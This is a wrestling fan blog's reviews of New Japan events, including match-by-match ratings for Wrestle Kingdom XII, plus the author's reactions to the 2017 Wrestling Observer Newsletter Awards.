The other question is will the match hold up as well over time. I know the immediate answer is yes, but look at what they did just a year and a half ago. The Wrestle Kingdom XI match was given six stars by Meltzer, meaning that this match has now left that one in the dust if you’re using the same scale (this match would be about 17% better if you’re a numbers person). If you’re basing it on that, the Wrestle Kingdom match is blown away by this one and isn’t even in the discussion. That took a year and a half. What is this match going to be seen as at this time next year?

In other words, let these matches sink in a bit before they’re labeled as the best ever or SO much better than anything else that’s ever been done before. It makes things sound silly instead of great, which is the point in offering these matches so much praise. The match was great, I’d watch it again, and Omega deserves to be champion after taking the title from maybe the best champion ever. If the match can hold up and stand the test of time, then we’ll see if it’s as good as some have claimed it to be. Amazing match, despite a few issues here and there.

Post match the Young Bucks come out and celebrate with Omega, officially setting things right with them before he’ll even accept the title. Omega thanks the fans in Japanese and says this was his final goal. He’ll be here for the future and (in English) he’s been told to stay calm and tranquilo. That’s not his way though and he knows with these men at his side, they can do anything. Omega bids us goodnight and goodbye but here’s Cody to walk halfway down the ramp and then turn around to end the show. Eh it worked for Owen Hart.

Overall Rating: A-. Great show, as New Japan always tends to be. The first hour and a half or so didn’t exactly blow me away (though it was quite watchable) and then it picked up a lot in the second half and never looked back. New Japan has stopped being on a roll and now is just this good. Wrestle Kingdom could go multiple ways and the G1 should be very interesting. I’m curious as to how long Omega holds the title, and if he’ll stick around after dropping it. Really, what else is left for him to do in New Japan now that he’s won the title? Anyway, another incredible night which again flew by, which New Japan does better than anyone.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

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They’re back! So what if it’s mid-March? That’s totally fine in announcing the annual New Japan is Better Than You Awards and that’s what we have here. The Wrestling Observer Newsletter Awards are back and I already have a bad feeling about them. As usual I’ll be listing the winners and giving a quick comment about each. I won’t list the top five for each unless something stands out to me.

1. Wrestler of the Year – Kazuchika Okada

Yep. Aside from AJ Styles, there’s no one in the same universe right now.

2. Most Outstanding Wrestler – Kazuchika Okada

I say it every year and I have it explained to me every year but I still have no idea why these first two both need to exist.

3. Tag Team of the Year – The Young Bucks

Maybe the Usos can win next year if they name a move after Meltzer.

4. Best on Interviews – Conor McGregor

Oh here we go. Again: it certainly must help when you only have to talk when you’re getting ready for a fight and have no restrictions. I have no idea why this is considered a fair comparison but maybe I’m just too much of a wrestling fan to understand these things.

5. Promotion of the Year – New Japan

Makes sense. WWE had a good but not great year and New Japan is almost always quality.

6. Best Weekly TV Show – New Japan on AXS

Being a highlight/Best Of show certainly must help. Being the Elite was fourth and Raw was NINTH. It’s really not that bad people.

7. Match of the Year – Okada vs. Omega – Wrestle Kingdom

No WWE match in the top five, Okada with four of the top five. You knew this was getting the top spot and nothing else was going to come close, but that’s to be expected.

8. Feud of the Year – Okada vs. Omega

I didn’t even have to look at the results. UFC had two of the top five spots.

9. Most Charismatic – Tetsuya Naito

Fair enough. I’ve liked what I’ve seen from him.

10. Best Technical Wrestler Zach Sabre Jr.

That guy does stuff that I can’t even describe and makes it look like the most natural thing in the world. It’s rare that I consider someone a treat to watch but that’s the case with him.

11. Best Brawler – Tomohiro Ishii

Not my style but I get it.

12. Best Flying Wrestler – Will Ospreay

Yep. Well maybe Ricochet, who came in second.

13. Most Overrated – Jinder Mahal

WWE got four of the top six (with five being a tie). Braun Strowman was ninth. Seriously.

14. Most Underrated – Rusev

I usually scratch my head at this one but there’s very little argument here.

15. Rookie of the Year – Ketsuya Kitamura

I’ve heard good things so sure.

16. Best Non-Wrestler – Daniel Bryan

This is a sentimental pick as Zelina Vega ran away with this thing (and finished second).

17. Best TV Announcer – Mauro Ranallo

You knew that was getting the pick and I can’t argue with it.

18. Worst TV Announcer – Booker T.

I’d have gone with Watson, who took second. At least Booker has a resume while Watson is just a person you might remember if you like stupid gimmicks and bad wrestling.

19. Best Major Wrestling Show – Wrestle Kingdom XI

I’d have gone with Takeover: Chicago but this is more than acceptable.

20. Worst Major Wrestling Show – Battleground

It had the Punjabi Prison match.

21. Best Wrestling Move – One Winged Angel

You know, that move that he hits over and over and barely ever wins with the thing.

22. Most Disgusting Promotional Tactic – WWE Promoting Jimmy Snuka As A Hero

Yeah that’s kind of hard to argue.

23. Worst TV Show – Raw

OH SCREW OFF! This award should be named after Impact but it’s WWE so we must run it into the ground. Good grief no.

24. Worst Match of the Year – Bray Wyatt vs. Randy Orton – Wrestlemania XXXIII

The title that Bruno, Hogan and Austin wore was involved in a match containing roaches and maggots. Moving on.

25. Worst Feud of the Year – Bray Wyatt vs. Randy Orton

It was either this or Mahal vs. Orton.

26. Worst Promotion – TNA

But remember: they had a better weekly TV show and not as bad of a pay per view!

27. Best Booker – Gedo

Again, didn’t need to look.

28. Promoter of the Year – Takaai Kidani – New Japan

Same duh as before.

29. Best Gimmick – Los Ingobernables de Japon

Velveteen Dream got second.

30. Worst Gimmick – Bray Wyatt and Sister Abigail

I’d go with Mahal for longevity as Abigail was only a few weeks long.

31. Best Pro-Wrestling Book – Crazy Like a Fox: The Brian Pillman Story

I need to get that as I’ve heard good things.

32. Best Documentary – Ric Flair: 30 For 30

Like it was going to be anything else.

Wrestle Kingdom XII
Date: January 4, 2018
Location: Tokyo Dome, Tokyo, Japan
Attendance: 34,995
Commentators: Kevin Kelly, Don Callis

It’s that that day of the year (not even time for this show) as we’re at New Japan’s biggest show of the year. The main event is IWGP World Champion Kazuchika Okada defending against former champion Tetsuya Naito in what should be a pretty obvious ending, but the match that has gotten almost all of the attention is a dream match between Kenny Omega vs. Chris Jericho. Not only have they set the match up but they’ve actually done some rather hot angles to help build the thing. Let’s get to it.

Please note that I don’t watch much New Japan. I have a decent idea of what’s going on and do follow the stories and developments, but there’s a good chance that I’m going to miss a thing or two.

Pre-Show: New Japan Rumble

This is a Royal Rumble with one minute intervals and pin/submission/over the top eliminations. Katsuya Kitamura (the reigning Young Lions Cup winner who is in crazy shape) is in at #1 and Bushi is in at #2. Kitamura shakes the ropes to start and is quickly choked in the corner with a shirt. Delirious is in at #3 and comes in after a quick lap around the ring. Some chops have no effect on Kitamura so grunting ensues and Delirious is dropped in the corner. Leo Tonga, a 6’10 monster and the Guerrillas of Destiny’s brother, is in at #4 and grabs a lifting Downward Spiral for two on Kitamura.

Delirious and Bushi trade some kicks until Manabu Nakanishi, a former IWGP World Champion, is in at #5. Nothing of note happens for not (standard battle royal in other words) and Chase Owens (an honorary Tongan) is in at #6 as the intervals are already way out of whack. Owens gives Delirious a quick package piledriver for the first elimination to clear the ring out a bit. Nakanishi has Bushi in a torture rack before tossing him out as Yuji Nagata is in at #7.

Nagata and Nakanishi, current partners, do the old man slugout with the latter getting the better of it. A double pin gets rid of Tonga, Nagata rolls Nakanishi up for a quick pin and Owens/Kitamura get together to pin Nagata in the span of thirty seconds. A package piledriver eliminates Kitamura and it’s Taka Michinoku in at #8 to go one on one with Owens. Since Taka takes forever to get to the ring, Yoshinobu Kanemaru (Taka’s stablemate in Suzuki-Gun) is in at #9 in short order. Owens is double teamed until Desperado, also of Suzuki-Gun, is in at #10.

Chase actually hangs on until a shot of booze to the face is good for an elimination to leave Suzuki-Gun alone in the ring. That should mean a big name coming in and it’s Jushin Thunder Liger in at #11 (with the always awesome theme). Jushin gets in some palm strikes but tries the surfboard for some reason, allowing the triple teaming to start all over. Suzuki-Gun goes for the mask but it’s Tiger Mask in at #12.

Desperado goes for Mask’s mask, only to have Tiger switch places and almost get Desperado’s mask off instead. A tiger driver gets two on Desperado and it’s Gino Gambino, a rather large Australian, is in at #13. Desperado and Tiger lose their masks, which seems to be a double elimination. Liger, Kanemaru and Taka are pinned in short order, leaving Gambino to face Toa Henare, another Young Lion, who is in at #14. A Samoan drop gets two on Gambino as Yoshi-Hashi is in at #15. Hashi chops at Henare for one (Were you expecting anything more off a chop?) and David Finlay is in at #16.

Finlay wastes no time in Stunning Gambino for an elimination. Henare is put out again, leaving Finlay to roll Hashi up for another pin (despite his shoulder being WAY off the mat). Yujiro Takahashi is in at #17 with a rather good looking woman in a leather bunny mask. A clothesline gets rid of Finlay in short order and Takahashi is all alone. Cheeseburger is n at #18 because of course he is. The tiny man gets in a bulldog and a stomp as Satoshi Kojima (quite a legend in his own right) is in at #19.

Yujiro grabs a fisherman’s buster on Kojima but goes after Cheeseburger instead of following up. Hiroyoshi Tenzan, Kojima’s longtime partner, is in at #20. The rapid Mongolian chops have Takahashi in trouble and it’s Masahito Kakihara (a cancer survivor of UWFI fame) in at #21 for the last entrant. A 3D plants Yujiro and a lariat gets rid of him, leaving us with Kakihara, Cheeseburger, Kojima and Tenzan. Kojima shows Cheeseburger how to throw some machine gun chops but he’s smart enough to roll away from a splash.

Back up and Cheeseburger and Kakihara try chops to the chest with Cheeseburger’s having no effect (BECAUSE HE’S REALLY SMALL! LIKE MUCH SMALLER THAN EVERYONE ELSE BUT HE NEVER GIVES UP! DO YOU GET THE IDEA YET???) and a double low bridge eliminate Tenzan and Kojima. A quick STO ends Cheeseburger at 32:06 to give Kakihara the win.

Rating: D+. The ending was a nice touch with Kakihara being a feel good story after his illness. The rest of the match was the usual mess, though this isn’t the kind of match where you’re looking for a big story. People got their stuff in and were able to appear at the show, which is all you can ask for. I wasn’t wild on the multiple instances of people being eliminated in short order but again, that’s not the point in a match like this. It accomplished its goal, despite not being the most thrilling thing in the world.

Post match Kakihara puts on a shirt in honor of Yoshihiro Takayama, who was paralyzed in a match back in May. Cool moment there, especially for a cancer survivor like Kakihara.

The opening video runs the card down. There’s something cool about having the match order announced in advance. I like wondering what order some WWE shows go in but this does help a lot if you’re looking for a single match.

As usual, the Dome looks great with attendance up pretty strongly from last year. That’s always a good sign.

A female announcer seems to welcome us to the show.

IWGP Junior Heavyweight Tag Team Titles: Young Bucks vs. Roppongi 3K

3K (Ring of Honor’s Tempura Boyz, Sho and Yoh) is defending and has Rocky Romero in their corner. Nick shoves Yoh around to start and it’s already time for a Sharpshooter attempt (WWE did it so the Bucks can too!). Yoh actually grabs one of his own, drawing in the partners so Matt can put Sho in another Sharpshooter. That means a slap off for a unique spot, followed by 3K popping up for stereo dropkicks.

Romero actually calls a play (which is a further step than you see most managers take), leading to double flip dives to the floor. Yoh comes up with a bad back though and it’s time for a glorified handicap match in the vein of the Bucks vs. Roppongi Vice from last year. Nick dropkicks Sho down and Romero gets powerbombed onto the ramp. Yoh gets thrown inside and then powerbombed onto the apron as the announcers go over the Bucks’ history at the show.

Matt hurts his own back on a dive so it’s Nick stomping on Yoh at a fairly slow pace. A pretty weak backbreaker has Yoh in trouble so Nick takes Yoh to the ramp for a piledriver. Yoh backdrops his way to freedom and Nick dives onto his brother by mistake. The hot tag brings in Sho to clean house with kicks and suplexes. He even German suplexes both Bucks at once in a surprising display of power.

Nick’s superkicks don’t get him very far so it’s a leg lariat which knocks Sho into the ropes, only to have him lariat Nick down. Yoh and Matt have matching back injuries but Matt is still able to powerbomb him into the corner. A hanging DDT with Nick flipping onto Yoh’s back at the same time is good for two and it’s off to the Sharpshooter. Yoh grabs the rope and More Bang For Your Buck is countered into a rollup for two.

We hit stereo half crabs from the champs with Nick having to hold his brother’s arm up. Eventually Nick kicks his hold away to break up the one on Nick and everyone is down. The healthy guys take turns kicking at the bad backs before Nick superkicks Sho down, followed by a corkscrew dive to the floor. Back in and the Meltzer Driver into the Sharpshooter gives the Bucks the belts for the seventh time at 18:49.

Rating: B. I like this version of the Bucks, but unfortunately you don’t see them that often. This team was a lot more crisp and with only a handful of superkicks throughout a nearly twenty minute match, it was far from the usual drek. What I could go for is something slightly fresher than the same stuff they did with Roppongi Vice in at least two matches I’ve seen. It’s not lazy storytelling but rather long form storytelling and in this case they did change things up enough to make it work. A fresh idea is probably needed now, along with someone other than the Bucks and their opponents of the month in the title picture.

Never Openweight Six Man Tag Team Titles: Gauntlet Match

Bad Luck Fale/Guerrillas of Destiny are defending. Two teams start, the winning team keeps going, last team standing leaves with the belts. Suzuki-Gun (Zack Sabre Jr./Taichi/Takashi Iizuka with Desperado, Taka Michinoku and Yoshinobu Kanemaru) and War Machine/Michael Elgin start things off after Iizuka is lead to the ring on a leash. Suzuki-Gun jumps the simply named trio to start but run into the power of Elgin.

Somehow Elgin is still able to slingshot in with a splash for no cover. A not very delayed suplex on Iizuka is enough to bring in Hanson to rake the eyes a bit. Taichi gets in a few shots as well until a cartwheel gets Hanson over to the corner for the hot tag to Rowe. Everything breaks down in a hurry but Rowe misses a moonsault. Sabre grabs a quick triangle choke and Rowe is choked out at 6:05.

Next up are Beretta, Toru Yano and Tomohiro Ishii and the brawl is on in the aisle. They get in with the beating only lasting a few seconds until Yano gets in a low blow and rolls Taichi for the pin at 9:12 (including the time between falls). Next up is Taguchi Japan, consisting of Togi Makabe, Ryusuke Taguchi and Juice Robinson.

The brawl is on in a hurry with Robinson firing off right hands but having to catch the turnbuckle pad that Yano unhooked. Makabe runs over Yano with a lariat for two and now it’s everyone clotheslining Yano in the corner. A springboard hip attack gets two and Makabe runs more people over. Taguchi channels Shinsuke Nakamura with the gyrating before a running knee, only to charge into a rollup to give Yano his second straight pin at 14:06.

That leaves us with Bad Luck Fale and the Guerrillas of Destiny to complete the field and again the fight is on in a hurry. Tonga Loa gives Trent an AA on the apron but Fale misses a splash in the corner, meaning a hot tag can bring in Ishii to do what a monster is supposed to do. He can’t lift the huge Fale though and that earns him a big splash in the corner. A chokeslam is broken up and Ishii headbutts him backwards, followed by an impressive suplex.

The Guerrillas come back in and hit Guerrilla Warfare on Beretta. Instead of covering though, they try a belly to back superplex but get elbowed away. Beretta isn’t out of the woods yet though as he moonsaults right into a cutter for a very near fall. Fale and Ishii clothesline each other down but Beretta hits a quick Dudebuster to pin Loa for the titles at 21:46.

Rating: C-. I’m never a fan of gauntlet matches for the most part as there’s too much going on in too little time, which mainly means nothing has the chance to build or really go anywhere. They did manage to make Beretta look like a resilient fighter by making a comeback at the end, which helps push him up the heavyweight ranks, but that’s really the only thing that made an impact here. It’s not bad or anything but too much going on and too many people.

Ticket info for the Long Beach event is released tomorrow. That’s cool to see but they still need to do a lot more if they want to really expand into America (which isn’t exactly necessary).

Cody vs. Kota Ibushi

Not much of a story here, though there’s a good chance that it’s designed to help build Ibushi for an eventual mega match against former partner Kenny Omega. Cody has Brandi (sweet goodness) with him and still has the bleach blond hair. After Cody puts his ring in a box, we’re ready to go.

Cody’s headlock is countered with a nip up so Cody flips him off. That’s not the nicest gesture in the world and Ibushi is so disgusted that he gets caught in an American Nightmare lock. Ibushi makes the rope and Callis is wondering why he didn’t have that better scouted. Fair question actually as Callis shows how to be an intelligent commentator.

Cody gets sent outside and Brandi is down so Ibushi checks on her, only to be suckered into a right hand. Back in and the Disaster Kick starts working on Ibushi’s always bad neck and we hit a double underhook neck crank. Brandi takes Kevin’s chair and distracts the referee so Cody can get in some shots to the neck.

Despite that likely KILLING IBUSHI, he’s back up and hitting a moonsault press to the floor to take Cody down again. Back in and Kota’s rapid strikes into a standing moonsault gets two. Brandi grabs the foot to break up a suplex though (Callis: “She’s been watching her Bobby Heenan footage!”) and Cody hits Cross Rhodes off the apron to drop Ibushi HARD onto his head in a great looking crash. Somehow Ibushi beats the count so Cody hits his own springboard hurricanrana for a very close two.

Cross Rhodes is countered though and Ibushi lawn darts him into the buckle. Ibushi can’t follow up so they slap it out with Kota getting the better of it, setting up the sitout Last Ride for two more. A hard lariat (staying on the neck) gives Cody two and a straitjacket German suplex gives Ibushi the same. He doesn’t let go though, instead kneeing the heck out of Cody. The Phoenix splash is good for the academic pin on Cody at 16:08.

Rating: B. Another well done match here as Ibushi fought through the neck injury (with Cody focusing on the neck almost the entire time) and coming out on top at the end. That’s a great way to set up the eventual match against Omega and hopefully Ibushi gets a great run out of this. He’s incredibly smooth in the ring and that makes the matches very easy to watch. Good stuff here as you could get a sense of what they were going for, which is hard in any wrestling match.

IWGP Tag Team Titles: Evil/Sanada vs. Killer Elite Squad

Evil and Sanada are challenging after winning the World Tag League last year. Lance Archer (partner of Davey Boy Smith Jr.) is a cowboy so a lot of beer is sprayed over the crowd. The champs jump them to start and a Killer Bomb (full nelson slam into a sitout powerbomb) gets a very early two on Evil (as in less than fifteen seconds in). Evil is basically dead so Archer pounds away, allowing Davey to get two while posing.

That’s enough for the Squad as they head outside and beat up the young boys for fun. Archer chokeslams Evil onto everyone else before taking Sanada back in for a headscissors of all things. A side slam/middle rope splash gets two and Archer just blasts Sanada with a clothesline. Sanada dropkicks Davey in the knee but it’s still not enough for the hot tag off to Davey as Lance makes the save. The announcers declare this over so get the new nameplates ready for the belts.

Archer’s Rock Bottom gets two but he charges into a hurricanrana. The hot tag FINALLY brings Evil in for some clotheslines with the third finally taking Archer down. Smith misses his middle rope moonsault (because of course he can do one of those and land on his feet) but Sanada gets chokeslammed for two. Another Killer Bomb gets the same but Evil breaks up a third attempt. Archer gets sent outside and the Magic Killer gets two on Davey. A quick moonsault press puts Davey away to give us new champions at 13:17.

Rating: B-. Good come from behind win here as Evil (what a name for a face) and Sanada are good as the plucky rag dolls who get destroyed but still manage to come back in the end. The Squad looked awesome here and I was into their heel act, which really wasn’t something I was expecting coming in. Good match here and while it’s a step beneath some of the stuff on the show tonight, another solid performance and a title change that makes sense.

Never Openweight Title: Hirooki Goto vs. Minoru Suzuki

Suzuki is defending, no seconds allowed and hair/title vs. hair, which never sounds fair whatsoever. I’ve never gotten much out of Suzuki so hopefully this is an upgrade. Goto walks into a shot to the face to start but comes back with one of his own to get us back to even. An early standing choke doesn’t get Suzuki very far so he grabs another while standing on the second rope. That’s enough to bring the doctor in, only to have Suzuki clear the ring again.

Goto is sent outside which seems to wake him up, meaning Suzuki can hit him in the back with a chair because he feels like it. For some reason Goto decides to roll back in and a hard forearm to the head cuts him off again. A running knee in the corner rocks Goto but a running kick to the chest is caught….so Suzuki hits him in the head again. Goto does manage a spinwheel kick in the corner and a bulldog, followed by a Saito suplex for two.

Suzuki grabs his choke again but keeps trying the Gotch Style piledriver. Instead Goto reverses into a fireman’s carry backbreaker so here’s Suzuki-Gun to interfere (standard operating procedure). Goto fights them off but walks into a hard dropkick to keep Suzuki in control. A long series of rapid fire strikes to the face sets up the choke again but Suzuki again opts for the piledriver.

Goto reverses that as well but gets caught in a guillotine choke with Suzuki standing on the ropes. That’s reversed into a super fireman’s carry backbreaker for two (fair enough as the ropes didn’t really add anything) so Goto headbutts the heck out of him. The GTR (an Eye of the Hurricane onto the knee) is enough to end Suzuki at 18:04.

Rating: C+. I’m still not a fan of this beating each other up and hitting each other over and over until one of you can’t stand up anymore style. It’s never been my thing and it probably never will be. Goto is more interesting than Suzuki so I can get behind the title change, but at the same time I could have gone for a slightly different story than repeating what we saw in the previous match: champion completely overpowers the challenger until a few well timed shots give him an opening. It felt like the same layout in back to back matches and that’s a bit annoying.

Suzuki is carried away by his guys but walks back to the ring for the haircut, which he does himself in humiliation.

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IWGP Junior Heavyweight Title: Will Ospreay vs. Kushida vs. Hiromu Takahashi vs. Marty Scurll

One fall to a finish and Scurll is defending. These four have been the only champions since November 2016 so there are a lot of stories tied together in the whole thing. Scurll and Ospreay are mortal enemies, Takahashi had Kushida’s number (though Kushida finally beat him to win the title back) and Ospreay took the title from Kushida a few months back. Marty comes out with WINGS for a heck of an entrance. The champ heads outside to start so it’s Ospreay flipping over Kushida to start.

Kushida flips over into a dropkick for two with Marty running in for the save. Back up and Ospreay moonsaults in to kick Scurll and Kushida down at the same time. Everyone heads outside with Ospreay climbing the set and moonsaulting down onto the other three. Back in and Kushida catches Ospreay’s springboard in a cross armbreaker but Ospreay comes back in to grab the chickenwing.

Kushida slaps the Hoverboard Lock on Takahashi at the same time and it’s a game of chicken (Wing?). It’s Scurll letting go of Ospreay to make the save with a superkick to Kushida. Back up and everyone hits everyone really hard for the four way knockdown. They strike it out from their knees until Ospreay kicks Scurll down, only to have the Oscutter countered into the chickenwing.

That’s broken up as well and Takahashi suplexes Kushida into the corner. Kushida gets caught upside down in the corner for a superkick (called the Chicky Nandos kick, a case where I doubt I want the backstory), followed by Ospreay going up. His shooting star is countered into a cutter though and Scurll gets two off a Last Shot. The Oscutter gets the same on Ospreay and Scurll heads outside to tape Takahashi to the barricade. He throws in a finger break, only to have Kushida and Ospreay break fingers on both of his hands.

Kushida triangles Ospreay but gets lifted up and powerbombed into the corner for his efforts. Now it’s Scurll grabbing some powder to blind Kushida, who is still able to hit the small package driver for two with Ospreay diving off the top for the save. Takahashi has somehow gotten free and catches Ospreay in a German suplex, followed by running sunset bombs to Ospreay and Scurll. The Time Bomb gets two on Scurll but it’s Ospreay coming in for the save.

Ospreay and Scurll take turns kicking the heck out of Takahashi and Kushida, only to have Takahashi missile dropkick Ospreay for two. Now it’s Kushida back up with a running sunset bomb on Takahashi. Ospreay hits an imploding 450 for two on Takahashi but a Time Bomb gets the same with Scurll making the save. Some umbrella shots have the challengers in trouble but the Oscutter takes Scurll down for the pin and the title at 21:22.

Rating: A-. Like I said, there were a lot of stories in this match and Ospreay FINALLY beating Scurll was probably the biggest of them all. On top of that this was a heck of a fight with all four stealing the spotlight for at least a little while. Ospreay looked awesome here and was only a few steps ahead of the other three. There’s not much to say here, other than they were rocking the house and that’s what a match like this was supposed to do.

We recap (first time tonight) Hiroshi Tanahashi defending the Intercontinental Title against Jay White. Jay had been a Young Lion who left on his foreign excursion (mainly to Ring of Honor, where I was a big fan) and returned in November at Power Struggle. White talked about watching Tanahashi for years and now he wants to prove himself against the best. He attacked Tanahashi and received a title shot, which is about as simple as you can get. Tanahashi is older now (41) and banged up but he’s still one of the best the company has.

Intercontinental Title: Hiroshi Tanahashi vs. Jay White

Tanahashi is defending. White has a cool entrance with a knife falling on the ground to play up his Switchblade moniker. They fight over arm control to start and it’s an early standoff with Tanahashi throwing in some air guitar. Not only will he wrestle you, but he’ll throw in some musical entertainment. Usually that costs more. A forearm White down but he gets in a shot to the knee to really take over for the first time.

The knee is wrapped around the barricade to make things even worse. Back in and Tanahashi has to fight from his back so White can pretty easily slap on something like an Indian deathlock. Kelly starts talking about Tanahashi’s history at this show as the basic leg work continues. Tanahashi finally escapes and hits a dragon screw legwhip for a breather, followed by a middle rope Swanton for two.

The Sling Blade misses but Tanahashi is right back on the leg to keep White at bay. A high crossbody to the floor drops White again but he’s right back up with a German suplex inside. White hits a brainbuster (not really) onto the apron before driving some knees into the corner (White: “Is this the Ace? Is this the Ace?”). Tanahashi’s comeback is countered with a suplex into the corner for two as frustration is starting to set in.

A twist of White’s knee takes him down this time but he catches Tanahashi on top. That just earns him a super swinging neckbreaker (Twist and Shout), followed by back to back Sling Blades for two. The High Fly Flow misses and the knee is banged up again. White’s Kiwi Crusher gets two but the Switchblade (looked like Sister Abigail) is countered into a dragon suplex for two more. High Fly Flow is good enough to end White at 19:44.

Rating: B-. You kind of knew they weren’t going to have Tanahashi lose three straight Wrestle Kingdom matches so the ending isn’t the biggest surprise. That being said, the idea of pulling the trigger on White seemed very, very intriguing though I get why they couldn’t go through with the title change.

However, this was little more than average with White’s offense not being anything impressive (he has a very solid look and presence though and the offense certainly wasn’t bad) and Tanahashi never feeling like he was in any serious danger. The Crusher only getting two and barely being treated as a near fall didn’t bode well and while the match was good, it was nothing compared to what Tanahashi has done in the past.

We recap the real main event of Chris Jericho vs. Kenny Omega. Basically Omega needed a top opponent and Jericho appeared in 2017, challenging him to a match. They’ve attacked each other in recent weeks and there’s actually a lot of hype for the match. Jericho used to wrestle in New Japan before he went to WCW so this is a homecoming in a way. But yeah, the entire story here is “Jericho vs. Omega.” Does it need to be anything else? Omega’s US Title is on the line and it’s about as important as Ric Flair’s Intercontinental Title when he fought HHH in a cage at Taboo Tuesday 2005.

IWGP US Title: Chris Jericho vs. Kenny Omega

No DQ, Jericho is challenging and he brought the light up jacket to Japan. His hair has also grown out a bit and is now close to what it was looking like back in 2004/5, which isn’t the best idea in the world. Instead of the Terminator, Omega has what looks to be a Loki helmet and a big freaking gun, along with the Young Bucks at his side. Not that they matter as they’re ejected almost immediately in a good idea.

Jericho jumps him during the entrances and shoves the young boys out of the way. They immediately slug it out with Omega getting the better of it and hammering away on the mat. Jericho grabs the referee for a cheap shot and chops away as Callis is WAY more excited than he….eh never mind. An early Walls attempt sends Omega to the ropes and for some reason the referee breaks it up. Know the rules chum.

Omega baseball slides him over the barricade but the big springboard dive only hits table for a great looking crash. Jericho grabs the Walls on the floor and shoves the referee before putting a young boy (referee’s son for a nice touch) in the Walls as well. A monitor shot cuts Jericho off but he knocks Omega again. Jericho: “ALPHA!” Nice touch to play up that Alpha vs. Omega idea.

Speaking of Omega, he puts a table on top of Jericho and climbs a structure for a double stomp as the announcers try to figure out if they’re on the air. Both guys beat the count back in and Jericho’s springboard dropkick to the knee cuts off Omega’s springboard. Jericho heads back outside and sets up a table. The powerbomb is initially blocked so Jericho powerbombs him on the floor instead. Hang on as Jericho stops to grab a camera for some shots (as in photos), including some of his flipping off the fans.

Back in and a chair is wedged in the corner but Jericho goes with the Lionsault for a delayed two instead. One heck of a clothesline puts Jericho back on the floor and there’s the big flip dive to take Jericho down again. Omega scores with the V Trigger but the snap dragon is reversed into the ropes. This time Omega goes to the corner but grabs the cold spray stored there to blind Jericho for the escape. The blind Jericho is still able to send Omega head first into the corner, meaning it’s time to stop for some posing. That gets some great heat from the crowd and Jericho sending Omega into the chair again makes things even better.

Omega is busted and you know Jericho is going to follow up on that. A snap dragon gets Omega out of trouble but it’s way too early (despite being twenty two minutes in) for the One Winged Angel. Another chair shot puts Omega down and some not great shots to the back keep him in trouble. Omega has to pull himself up and Jericho is nearly reveling in his pain. Jericho takes too long going up though and a V Trigger knocks Jericho off the top and through the table.

Back in and Omega knees the heck out of him, followed by a double underhook piledriver for a close two. The One Winged Angel is countered into another Walls and then the Liontamer for some extra mustard. Omega crawls over to the ropes and Jericho lets go with no orders from the ref. Two more V Triggers into the One Winged Angel is good for two with Jericho grabbing the rope.

Back up and Jericho is dropped face first onto the top turnbuckle but comes back with a Codebreaker for a delayed near fall. For some reason Jericho decides to lay a chair on Omega, who pops up with a shot to the back. The One Winged Angel onto the chair is enough to finish Jericho off at 34:36.

Rating: C-. And that didn’t work. Between the really stupid rope breaks (Jericho yelled about them earlier and then just let it happen twenty five minutes later), the lack of any, you know, wrestling, the V Triggers going all over the place and Omega not knowing how to do more than about five moves while being treated as some kind of wrestling deity, this was nowhere near as good as it should have been. I’m sure the “real” wrestling fans will drool over the whole thing without seeing what’s right in front of them because they don’t want to look at the actual details. Maybe Jericho can have one more WWE run, but this didn’t help things.

To really sum up the problem with the whole thing, you had Kevin Kelly telling the critics of Kenny Omega where they could go. It’s the standard slurping of the overrated guy who really isn’t as great as he’s built up to be, but that’s almost the case for Japan. Let me guess: 94.75 stars, which will be debated for years because some people saw it as 94.25 stars while King Dave chuckles the whole time? I give it four toasters out of ten lobster specials. Does that count?

Omega is helped out and looked happier than he ever has been over his win.

We recap the IWGP World Title match. Tetsuya Naito won the 2017 G1 Climax Tournament to earn this shot and I think I’ve typed enough now to sell the idea that I gave my actual thoughts on the previous match and wasn’t just putting that to see how many heads I could get to explode. Jericho vs. Omega was an A- with two guys beating the heck out of each other for about five minutes longer than they should have but it was still a blast. They hid Jericho’s physical limitations very well (dude is 47) and had a great match with some nuclear heat (almost Lana levels) from the crowd. Anyway, to continue the charade for those who don’t pay attention: Okada has held the title for a year and the guard needs changing.

IWGP World Title: Kazuchika Okada vs. Tetsuya Naito

Okada is defending but Naito comes out rocking that white suit as only he can. The champ’s entrance shows him flipping a gold coin and walking away, though I’m more curious about why the Japanese title has English writing on its plates. Okada is also wrestling in long pants (not tights) which is a look I’ve never seen from him before. The fans are WAY into this from the bell and the dueling chants begin.

No contact in the first minute and Naito backs up from a lockup attempt. Okada finally gets to him just under two minutes in but Naito dropkicks the knee. Some armdrags have Naito in trouble but he lands in his signature pose for a nice touch. We hit the stall button as you have to guess they have a ton of time here.

Kelly talks about betting sites having the over/under for this match at five stars. As my eyes roll back into my head, I catch a glimpse of Naito elbowing him in the head to take over but getting dropkicked off the top and out to the floor. Ok so my eyes roll rather slowly. Naito comes right back with a neckbreaker over the barricade (Okada has had a bad neck for the better part of a year) but the champ is back in before the twenty count. A missile dropkick gets two and Naito hammers on the head to work over the neck some more.

We hit the cravate to keep the champ in trouble but Okada throws him down and nips up. Okada nails a hanging DDT off the barricade but charges into a reverse DDT onto the knee. A flapjack cuts Naito off again as they’re kind of doing the Bret vs. Shawn formula from Wrestlemania XII with Bret having a planned offense to pick Shawn apart but Shawn making up whatever he’s doing on the fly because he’s just that naturally talented.

It’s WAY too early for the Rainmaker so Okada settles for a cobra clutch instead. Naito can’t flip him away but he can get his foot on the ropes (and now, it actually makes sense). Back up and Naito hits a hanging neckbreaker, followed by a super reverse hurricanrana for the first near fall. A corkscrew moonsault only hits mat though and both guys are down. The battle of the forearms goes to Naito and a Liger kick staggers the champ.

There’s a flying forearm (hey Naito is supposed to be Shawn) but Okada breaks up a superplex. He misses a missile dropkick though and Naito has another opening….which is rapidly closed by a Rainmaker for two. Kelly: “Naito kicked out of the Rainmaker!” Well duh. I mean, it’s the Wrestle Kingdom main event and there’s the whole it’s just a clothesline issue. The tombstone is countered into Destino but Naito is too spent to cover. The slow slugout from their knees goes to a draw so they slug it out on their feet instead.

A hard slap puts Okada down and something like a swinging neckbreaker gets two. Destino is countered into another Rainmaker but Okada picks him up instead of covering. That means another Destino for another two and we keep going. The dropkick into the tombstone looks to set up another Rainmaker but Naito reverses into Destino. He won’t cover though and tries another Destino, only to be reversed into the tombstone. Another Rainmaker actually retains the title at 36:37.

